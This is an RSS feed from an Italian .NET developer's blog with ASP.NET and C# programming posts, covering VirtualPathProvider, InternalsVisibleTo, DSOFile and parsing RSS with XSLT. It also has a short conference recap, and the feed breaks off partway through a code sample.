<?xml version="1.0" encoding="iso-8859-15"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>naighes - Il blog di Nicola Baldi</title><link>http://blogs.aspitalia.com/naighes/</link><description>naighes - Il blog di Nicola Baldi</description><language>it-it</language><managingEditor>noreply(at)aspitalia.com(naighes - Il blog di Nicola Baldi)</managingEditor><webMaster>daniele(at)aspitalia.com(Daniele Bochicchio)</webMaster><copyright>1998-2008 ASPItalia.com/naighes - Il blog di Nicola Baldi</copyright><generator>Generated by feed.ASPItalia.com 'Weyoh' 4.8.828</generator><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><sy:updateBase>1998-01-01T12:00+00:00</sy:updateBase><image><title>naighes - Il blog di Nicola Baldi</title><url>http://gui.aspitalia.com/images/aspitalia_syndication.gif</url><link>http://blogs.aspitalia.com/naighes/</link></image><item><title>Un p&amp;#242; di pratica con VirtualPathProvider</title><link>http://blogs.aspitalia.com/naighes/post2136/PO-Pratica-VirtualPathProvider.aspx</link><pubDate>Tue, 02 Oct 2007 11:07:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2136' border="0" style="width:1px; height:1px;" /&gt;Questo post è il frutto di un'esigenza che è maturata nel corso dello sviluppo di un progetto (un pò bizzarro!) che sto seguendo. L'idea di base è quella di avere più siti all'interno dello stesso Application Domain.
&lt;br /&gt;
Si tratta di una situazione abbastanza inusuale, ma ho preso la palla al balzo per cercare di comprendere meglio uno dei provider più atipici che la FCL mette a disposizione, ovvero &lt;strong&gt;VirtualPathProvider&lt;/strong&gt;.
&lt;br /&gt;
Cercando su internet, mi sono imbattutto infatti in un post del blog di &lt;a href="http://blogs.msdn.com/davidebb/"&gt;David Ebbo&lt;/a&gt; dove si discuteva di un problema che poteva essere ricondotto al mio.
&lt;br /&gt;
Cercando di riassumere un pò quello che è venuto fuori dalla discussione, il problema principale sta nella risoluzione di determinati percorsi.
Ad esempio:
&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&amp;lt;%@ Register Src=&amp;quot;~/uc.ascx&amp;quot; TagName=&amp;quot;uc&amp;quot; TagPrefix=&amp;quot;userControls&amp;quot; %&amp;gt;&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;
Se questa dichiarazione viene inserita all'interno di una sottocartella che contiene uno dei siti, il riferimento sarà, in realtà, alla root principale.
Per evitare ciò, si può creare una classe che derivi da VirtualPathProvider ed eseguire l'override del metodo CombineVirtualPaths.
&lt;br /&gt;
Sovrascrivendo l'implementazione di default, possiamo combinare i percorsi virtuali come più ci aggrada, quindi, nel nostro caso, anteponendo il nome del sito al percorso relativo che ci arriva da parametro del metodo in oggetto.
&lt;br /&gt;
Una cosa del genere:
&lt;br /&gt;
&lt;code&gt;public override String CombineVirtualPaths(String basePath, String relativePath)&lt;br /&gt;
{&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!VirtualPathUtility.IsAbsolute(relativePath))&lt;br /&gt;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;base.CombineVirtualPaths(basePath, relativePath);&lt;br /&gt;
&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String url = HttpContext.Current.Request.Url.PathAndQuery;&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String site = basePath.Substring(1);&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Int32 index = site.IndexOf("/");&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (index &lt; 0)&lt;br /&gt;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return base.CombineVirtualPaths(basePath, relativePath);&lt;br /&gt;
&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return String.Format("~/{0}/{1}", site.Substring(0, index), relativePath.Substring(1));&lt;br /&gt;
}&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;
Il provider lo possiamo registrare all'interno di un HttpModule, così cogliamo anche l'occasione per effettuare il Path Rewriting.
&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;public class RelativePathModule : IHttpModule&lt;br /&gt;
{&lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private const String PREFIX = "http://";&lt;br /&gt;
 &lt;br /&gt;
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void Dispose() { }&lt;br /&gt;
&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void Init(HttpApplication context)&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
            	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HostingEnvironment.RegisterVirtualPathProvider(new RelativePathProvider());&lt;br /&gt;
            	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;context.BeginRequest += new EventHandler(context_BeginRequest);&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void context_BeginRequest(object sender, EventArgs e)&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext context = HttpContext.Current;&lt;br /&gt;
		&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String url = context.Request.Url.AbsoluteUri;&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String site = url.Substring(url.IndexOf(PREFIX) + PREFIX.Length);&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String newPath = String.Format("~/{0}{1}", site.Substring(0, site.IndexOf("/")), context.Request.Url.PathAndQuery);&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;context.RewritePath(newPath);&lt;br /&gt;
        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;
Ho preparato un &lt;a href="http://files-upload.com/files/534018/VirtualPathProviderSample.zip"&gt;allegato&lt;/a&gt; contenente un progetto di esempio (a proposito, una volta effettuato l'upload del file con il FileManager, come posso allegarlo al post?!).
&lt;br /&gt;
Questo provider è veramente notevole e, come illustra &lt;a href="http://blog.boschin.it/"&gt;Andrea Boschin&lt;/a&gt; all'interno del suo blog, ci consente addirittura di &lt;a href="http://www.xedotnet.org/40/section.aspx/392"&gt;realizzare un interno sito all'interno di un singolo Assembly&lt;/a&gt;!
&lt;br /&gt;
Le risorse disponibili su questo provider (MSDN a parte) non sono poi moltissime.
&lt;br /&gt;
Su aspitalia è stato trattato &lt;a href="http://www.aspitalia.com/articoli/asp.net2/BuildProvider-ExpressionBuilder-VirtualPathProvider.aspx"&gt;qui&lt;/a&gt;.&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_2.0/" rel="tag"&gt;.NET Framework 2.0&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET/" rel="tag"&gt;ASP.NET&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET_2.0/" rel="tag"&gt;ASP.NET 2.0&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/HttpModule/" rel="tag"&gt;HttpModule&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/HttpRuntime/" rel="tag"&gt;HttpRuntime&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>ASP.NET, .NET Framework, .NET Framework 2.0, ASP.NET 2.0, HttpModule, HttpRuntime</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post2136/PO-Pratica-VirtualPathProvider.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post2136/PO-Pratica-VirtualPathProvider.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS2136.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2136</trackback:ping></item><item><title>Visual Basic 9.0 and friends!</title><link>http://blogs.aspitalia.com/naighes/post2126/Visual-Basic-9.0-And-Friends.aspx</link><pubDate>Fri, 14 Sep 2007 08:06:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2126' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Il modificatore di accesso &lt;strong&gt;internal&lt;/strong&gt; fa si che un tipo sia accedibile soltanto all'interno dell'assembly in cui è definito.&lt;br /&gt;A volte, però, può nascere l'esigenza di &amp;quot;&lt;em&gt;raggruppare&lt;/em&gt;&amp;quot; una serie di assembly al fine di rendere accedibili tra di loro i tipi e i membri che espongono come internal.&lt;br /&gt;In .NET 1.1 la faccenda era un pò complicata.&lt;br /&gt;Era infatti necessario marcare il tipo utilizzando la classe &lt;strong&gt;StrongNameIdentityPermission&lt;/strong&gt;, la quale altro non faceva che verificare l'identità del chiamante.&lt;br /&gt;Certo è che marcare ogni tipo all'interno del nostro assembly poteva risultare un'operazione abbastanza noiosa.&lt;br /&gt;Tempo fa, leggendo un post dal blog di &lt;a href="http://community.bartdesmet.net/blogs/"&gt;Bart De Smet&lt;/a&gt;, venni a conoscenza di una nuova interessante feature offerta da c# sin dalla versione 2.0.&lt;br /&gt;Sostanzialmente, è sufficiente utilizzare l'attributo InternalsVisibleTo all'interno del file AssemblyInfo.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[assembly:InternalsVisibleTo(&amp;quot;AssemblyName, PublicKey=xxxxxxxx&amp;quot;)]&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In questo modo siamo in grado di rendere accessibili tutti i tipi marcati come internal senza dover marcarli uno ad uno.&lt;br /&gt;&lt;br /&gt;Beh, direi che non è proprio una novità, ma la cosa interessante è che adesso anche Visual Basic 9.0 consente l'utilizzo di questo attributo!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_2.0/" rel="tag"&gt;.NET Framework 2.0&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Basic/" rel="tag"&gt;Visual Basic&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>.NET Framework, .NET Framework 2.0, .NET Framework 3.5, Visual Basic</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post2126/Visual-Basic-9.0-And-Friends.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post2126/Visual-Basic-9.0-And-Friends.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS2126.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2126</trackback:ping></item><item><title>FileInfo e Atributi: dove sono finite le altre proprieta'?</title><link>http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx</link><pubDate>Sat, 03 Dec 2005 14:25:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1375' border="0" style="width:1px; height:1px;" /&gt;La classe &lt;a href="http://msdn.microsoft.com/library/ita/default.asp?url=/library/ITA/cpref/html/frlrfsystemiofileinfoclasstopic.asp" target="_blank"&gt;FileInfo&lt;/a&gt; ci consente di compiere un determinato insieme di operazione con i file.&lt;br /&gt;
La proprieta' &lt;b&gt;Attributes&lt;/b&gt; ci restituisce una serie di &lt;a href="http://msdn.microsoft.com/library/ita/default.asp?url=/library/ITA/cpref/html/frlrfsystemiofileattributesclasstopic.asp"&gt;attributi&lt;/a&gt; per il file, il cui percorso, e' stato passato come parametro al costruttore della classe FileInfo.&lt;br /&gt;
Tra gli attributi ottenuti come sopra indicato, mancano le proprietà di riepilogo, quali Titolo, Autore ecc.&lt;br /&gt;
E' possibile accedere alle proprieta' citate utilizzando il componente &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=9BA6FAC6-520B-4A0A-878A-53EC8300C4C2&amp;displaylang=en"&gt;DSOFile&lt;/a&gt;.&lt;br /&gt;
Un esempio in C# relativo all'utilizzo di questo componente:&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;code&gt;
OleDocumentPropertiesClass od = new OleDocumentPropertiesClass();&lt;br /&gt;
od.Open("C:\\Documents and Settings\\Nicola\\Documenti\\Immagini\\Immagine.jpg", true, DSOFile.dsoFileOpenOptions.dsoOptionDefault);&lt;br /&gt;
SummaryProperties sp = od.SummaryProperties;&lt;br /&gt;
&lt;br /&gt;
// Istanziamo un ArrayList che conterra' le proprieta' Custom&lt;br /&gt;
ArrayList custProps = new ArrayList();&lt;br /&gt;
foreach(CustomProperty cp in od.CustomProperties)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(cp.Type != DSOFile.dsoFilePropertyType.dsoPropertyTypeUnknown) custProps.Add(cp);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
this.LabelAuthor.Text = sp.Author;&lt;br /&gt;
this.LabelCompany.Text = sp.Company;&lt;br /&gt;
this.LabelSubject.Text = sp.Subject;&lt;br /&gt;
&lt;br /&gt;
//...&lt;br /&gt;
//...&lt;br /&gt;
//...&lt;br /&gt;
&lt;/code&gt;
&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1375/FileInfo-Atributi-Finite-Proprieta.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1375.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1375</trackback:ping></item><item><title>ASP.NET E ADO.NET su J2EE?</title><link>http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx</link><pubDate>Thu, 03 Nov 2005 12:00:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1332' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;&lt;a href="http://dev.mainsoft.com/"&gt;Mainsoft&lt;/a&gt; ha rilasciato un interessante plug-in per Visual Studio di nome &lt;a href="http://www.mainsoft.com/products/vmw_j2ee.aspx"&gt;MainWin&lt;/a&gt;. Con esso e' possibile eseguire applicazioni .net su un server di applicazioni J2EE e possiamo avvalerci di C# o vb per scrivere il nostro codice. Il codice MSIL viene ricompilato in Java ByteCode.&lt;/p&gt;&lt;p&gt;A qualcuno interessa? No? Vabbe', forse era meglio se me ne stavo zitto! :-D&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1332/ASP.NET-ADO.NET-J2EE.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1332.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1332</trackback:ping></item><item><title>RCD : The day after...</title><link>http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx</link><pubDate>Thu, 27 Oct 2005 14:23:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1312' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Sono rientrato a casa la sera verso l'ora di cena, ho trovato una coda pazzesca e mi sono beccato il raffreddore, il tutto condito da una buona dose di malditesta!&lt;br /&gt;Ah, dimenticavo quei terribili panzerotti con mozzarella e pomodoro... :-D&lt;/p&gt;&lt;p&gt;Beh, diciamo che, comunque, il nutrimento principale della giornata è stato il &amp;quot;lasagne code&amp;quot; che gli speaker hanno illustrato nel corso della giornata!&lt;/p&gt;&lt;p&gt;E' stato il primo evento di questo genere al quale ho partecipato e, a parte i postumi descritti in precednza, sono rimasto estremamente soddisfatto!&lt;br /&gt;Gli speaker sono stati eccezionali e voglio complimentarmi con tutti loro per l'ottima organizzazione.&lt;/p&gt;&lt;p&gt;Il prossimo evento, se non ho capito male, si terrà a primavera... come mancare?! ;-)&lt;/p&gt;&lt;p&gt;A dir la verità, sarebbe stata una buona occasione per conoscere tutto lo staff di aspitalia, comunità di cui faccio parte ormai da anni, ma erano sempre circondati da persone! (a me succede la stess cosa don le donne... eh eh, sì, magari!)&lt;/p&gt;&lt;p&gt;Riporto un paio di scatti realizzati con la mia fotocamera.&lt;/p&gt;&lt;p&gt;&lt;img alt="Che branco di scriteriati! ;-)" hspace="0" src="http://www.nicolabaldi.com/images/varie/RCD_Ott_2005_1.jpg" align="baseline" border="0" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img alt="Ancora uno satto!" hspace="0" src="http://www.nicolabaldi.com/images/varie/RCD_Ott_2005_2.jpg" align="baseline" border="0" /&gt;&lt;/p&gt;&lt;p&gt;Complimenti ancora e alla prossima!&lt;/p&gt;&lt;p&gt;PS. Adesso vogliamo il codice! &amp;gt;-D&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx</guid><slash:comments>7</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1312/RCD-The-Day-After.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1312.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1312</trackback:ping></item><item><title>DataSet.ReadXml() e spazi dei nomi.</title><link>http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx</link><pubDate>Mon, 24 Oct 2005 14:04:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1306' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;
Ieri ho provato a consumare uno dei feed RSS di aspitalia.&lt;br /&gt;
Il primo approccio che ho seguito e' stato il seguente:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
DataSet ds = new DataSet();&lt;br /&gt;
ds.ReadXML(&amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;);&lt;br /&gt;
this.Repeater1.DataSource = ds.Tables[&amp;quot;item&amp;quot;].DefaultView();&lt;br /&gt;
this.Repeater1.DataBind();
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Mando in esecuzione e vedo che viene generata un'eccezione.&lt;br /&gt;
Questo succede perche' il metodo ReadXML del DataSet ignora gli spazi dei nomi e tenta di creare due colonne con lo stesso nome.
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
&amp;lt;slash:comments&amp;gt;...&amp;lt;/slash:comments&amp;gt;&lt;br /&gt;
&amp;lt;wfw:comments&amp;gt;...&amp;lt;/wfw:comments&amp;gt;
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Inizialmente, avevo pensato di risolvere la questione nel seguente modo:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
protected DataTable CreateTable()&lt;br /&gt;
{&lt;br /&gt;
DataTable dt = new DataTable();&lt;br /&gt;
DataColumn dc1 = new DataColumn(&amp;quot;title&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc1);&lt;br /&gt;
DataColumn dc2 = new DataColumn(&amp;quot;data&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc2);&lt;br /&gt;
DataColumn dc3 = new DataColumn(&amp;quot;link&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc3);&lt;br /&gt;
DataColumn dc4 = new DataColumn(&amp;quot;description&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc4);&lt;br /&gt;
DataColumn dc5 = new DataColumn(&amp;quot;author&amp;quot;);&lt;br /&gt;
dt.Columns.Add(dc5);&lt;br /&gt;
return dt;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
protected void BindRepeater()&lt;br /&gt;
{&lt;br /&gt;
DataTable dt = CreateTable();&lt;br /&gt;
string url = &amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;;&lt;br /&gt;
XmlDocument doc = new XmlDocument();&lt;br /&gt;
doc.Load(url);&lt;br /&gt;
XmlNodeList items = doc.DocumentElement[&amp;quot;channel&amp;quot;].SelectNodes(&amp;quot;item&amp;quot;);&lt;br /&gt;
foreach(XmlNode node in items)&lt;br /&gt;
{&lt;br /&gt;
if (node.LocalName == &amp;quot;item&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
DataRow dr = dt.NewRow();&lt;br /&gt;
dr[&amp;quot;title&amp;quot;] = node.ChildNodes[0].InnerXml;&lt;br /&gt;
dr[&amp;quot;link&amp;quot;] = node.ChildNodes[1].InnerXml;&lt;br /&gt;
dr[&amp;quot;data&amp;quot;] = node.ChildNodes[2].InnerXml;&lt;br /&gt;
dr[&amp;quot;description&amp;quot;] = node.ChildNodes[3].InnerXml;&lt;br /&gt;
dr[&amp;quot;author&amp;quot;] = node.ChildNodes[4].InnerXml;&lt;br /&gt;
dt.Rows.Add(dr);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
this.Repeater1.DataSource = dt.DefaultView;&lt;br /&gt;
this.Repeater1.DataBind();&lt;br /&gt;
}
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Poi ho trovato invece un approccio piu' elegante che fa uso della classe XmlTransform.&lt;br /&gt;
Si inizia creando l'XSLT da applicare.&lt;br /&gt;
Una cosa del genere:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;&lt;br /&gt;
				&amp;lt;xsl:transform version=&amp;quot;1.0&amp;quot; xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot; 
				xmlns:dc=&amp;quot;http://purl.org/dc/elements/1.1/&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;xsl:output method=&amp;quot;xml&amp;quot; omit-xml-declaration=&amp;quot;yes&amp;quot;/&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;xsl:template match=&amp;quot;/&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;rss&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;channel&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;rssItems&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;xsl:for-each select=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;item&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;title&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;title&amp;quot;/&amp;gt;&amp;lt;/title&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;link&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;link&amp;quot;/&amp;gt;&amp;lt;/link&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;description&amp;gt;&amp;lt;xsl:value-of 
				select=&amp;quot;description&amp;quot;/&amp;gt;&amp;lt;/description&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;author&amp;gt;&amp;lt;xsl:value-of select=&amp;quot;//item/dc:creator&amp;quot; /&amp;gt;&amp;lt;/author&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
				&amp;lt;/item&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
				&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rssItems&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/xsl:for-each&amp;gt;&lt;br /&gt;
				&amp;nbsp; &amp;lt;/xsl:template&amp;gt;&lt;br /&gt;
				&amp;lt;/xsl:transform&amp;gt;
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Ed ecco il codice C#:
&lt;/p&gt;

&lt;p&gt;
&lt;code&gt;
// leggo il contenuto del feed con un reader&lt;br /&gt;
XmlTextReader rd = new XmlTextReader(&amp;quot;http://feed.aspitalia.com/feed_articoli.xml&amp;quot;);&lt;br /&gt;
XslTransform tf = new XslTransform();&lt;br /&gt;
// Carico il modello XSLT&lt;br /&gt;
tf.Load(Request.PhysicalApplicationPath + &amp;quot;MyXslt.xslt&amp;quot;);&lt;br /&gt;
StringWriter wr = new StringWriter();&lt;br /&gt;
XPathDocument aXPath = new XPathDocument(rd);&lt;br /&gt;
// Applico il modello&lt;br /&gt;
tf.Transform(aXPath, null, wr, null);&lt;br /&gt;
rd.Close();&lt;br /&gt;wr.Close();&lt;br /&gt;
// Creo il DataSet&lt;br /&gt;
StringReader sr = new StringReader(wr.ToString());&lt;br /&gt;
DataSet ds = new DataSet();&lt;br /&gt;
